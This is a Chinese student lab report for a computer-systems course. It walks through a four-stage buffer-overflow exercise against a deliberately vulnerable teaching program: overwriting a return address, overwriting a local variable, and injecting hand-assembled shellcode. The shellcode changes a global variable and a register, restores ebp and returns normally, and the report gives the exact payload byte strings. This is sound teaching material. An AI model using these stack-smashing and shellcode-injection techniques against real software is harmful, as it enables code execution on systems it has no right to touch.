计算机系统实验
实验三
一 实验目的
理解堆栈结构,利用缓冲区进行代码攻击
二 准备工作
配置实验环境(IDA、gcc),阅读实验指导书
三 实验过程
0x01第一关
首先理解堆栈的结构
/* 第1只木马,只需要修改返回地址,即可进入 */
void Trojan1(void)
{
printf("恭喜你!你已经成功偷偷运行了第1只木马!\n");
printf("通过第1只木马测试\n");
exit(0);
}
调用第一只木马,将返回值的地址修改成trojan1函数的地址即可

注意地址是小端方式

0x02第二关
第二关多了一个验证的条件
通过反编译找到val的寄存器的地址,增加了8位

用自己的密码覆盖 val所指的空间

0x03第三关
写汇编代码,修改全局变量的值
movl $0X4ADC80A5,00409004
push $00401250
ret
编译成二进制
0:c7 05 04 90 40 00 A5
7:80 DC 4A
A:68 50 12 40 00
F:c3
ret要接我们自己的写的代码的地址,这样才能执行我们所写的代码
这个地址是缓冲区的首地址,也就是找getxs()的参数的地址,即eax里的值


因此我们输入的应该为
c7 05 04 90 40 00 A5 80 DC 4A 68 50 12 40 00 c3 84 FE 19 00

0X04第四关
更改值
movl $0X4ADC80A5,%eax
在第三关的基础上要正常返回,push压栈的地址,为getbuf()后面的地址

即00401181,这里写出push语句
push $0x00401181
要正常返回,即ebp要保持下来

ebp的值


说明ebp的值不对,ebp的值应该调整为test的第一个ebp值,即开头的ebp设置断点,获取值

汇编代码
movl $0X4ADC80A5,%eax
movl $0x0019FEB4,%ebp
push $0x00401181
ret
编译之后
00000000 <.text>:
0: b8 a5 80 dc 4a mov $0x4adc80a5,%eax
5: bd b4 fe 19 00 mov $0x19feb4,%ebp
a: 68 81 11 40 00 push $0x401181
f: c3 ret

更改ebp的值还有一种方法:
用输入的字符串覆盖ebp的空间
汇编代码
movl $0X4Adc80a5,%eax
push $0x00401181
ret
编译之后
00000000 <.text>:
0: b8 a5 80 dc 4a mov $0x4adc80a5,%eax
5: 68 81 11 40 00 push $0x401181
a: c3 ret
b: 90 nop
所以输入的字符串为
b8 a5 80 dc 4a 68 81 11 40 00 c3 90 b4 fe 19 00 84 fe 19 00

经测试发现 nop 的汇编 90 与 00 有一样的效果


浙公网安备 33010602011771号